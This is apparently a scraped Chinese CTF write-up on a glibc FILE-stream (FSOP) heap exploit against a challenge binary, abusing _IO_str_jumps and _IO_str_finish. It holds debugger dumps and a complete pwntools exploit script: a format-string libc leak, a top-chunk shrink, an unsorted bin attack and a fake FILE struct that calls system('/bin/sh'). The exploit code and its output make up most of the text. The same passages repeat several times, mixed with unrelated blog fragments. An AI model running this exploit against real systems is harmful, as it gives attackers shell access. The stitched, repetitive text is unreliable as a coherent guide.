fp+0xe8 = system_addr fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样) 调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax 关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
pwndbg> p _IO_str_underflow $1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow> pwndbg> search -p 0x7f4d4cf04790 libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790 libc.so.6 0x7f4d4d224160 0x7f4d4cf04790 libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790 pwndbg> p &_IO_file_jumps $2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps> 可以通过_IO_str_jumps 的地址大于_IO_file_jumps 地址的条件,可以确定最后一个是符合_IO_str_jumps的地址,_IO_str_underflow 在_IO_str_jumps 的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24版本均测试通过):
可以通过_IO_str_jumps 的地址大于_IO_file_jumps 地址的条件,可以确定最后一个是符合_IO_str_jumps的地址,_IO_str_underflow 在_IO_str_jumps 的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24版本均测试通过):
_IO_file_jumps
_IO_str_jumps = 0x7f4d4d2245c0
GLIBC 2.23、2.24
IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break io_str_finish void _IO_str_finish (FILE *fp, int dummy) if (fp->_IO_buf_base && !(fp->_flags & 1)) ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); fp->_IO_buf_base为真 fp->_flags & 1 为假 // fp->_flags=0 1. fp->_mode = 0 2. fp->_IO_write_ptr > fp->_IO_write_base 3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size) 4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件) vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish 5. fp->_flags= 0 6. fp->_IO_buf_base = binsh_addr 7. fp+0xe8 = system_addr fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样) 调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax 关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break
io_str_finish void _IO_str_finish (FILE *fp, int dummy) if (fp->_IO_buf_base && !(fp->_flags & 1)) ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); fp->_IO_buf_base为真 fp->_flags & 1 为假 // fp->_flags=0 1. fp->_mode = 0 2. fp->_IO_write_ptr > fp->_IO_write_base 3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size) 4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件) vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish 5. fp->_flags= 0 6. fp->_IO_buf_base = binsh_addr 7. fp+0xe8 = system_addr fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样) 调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax 关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) 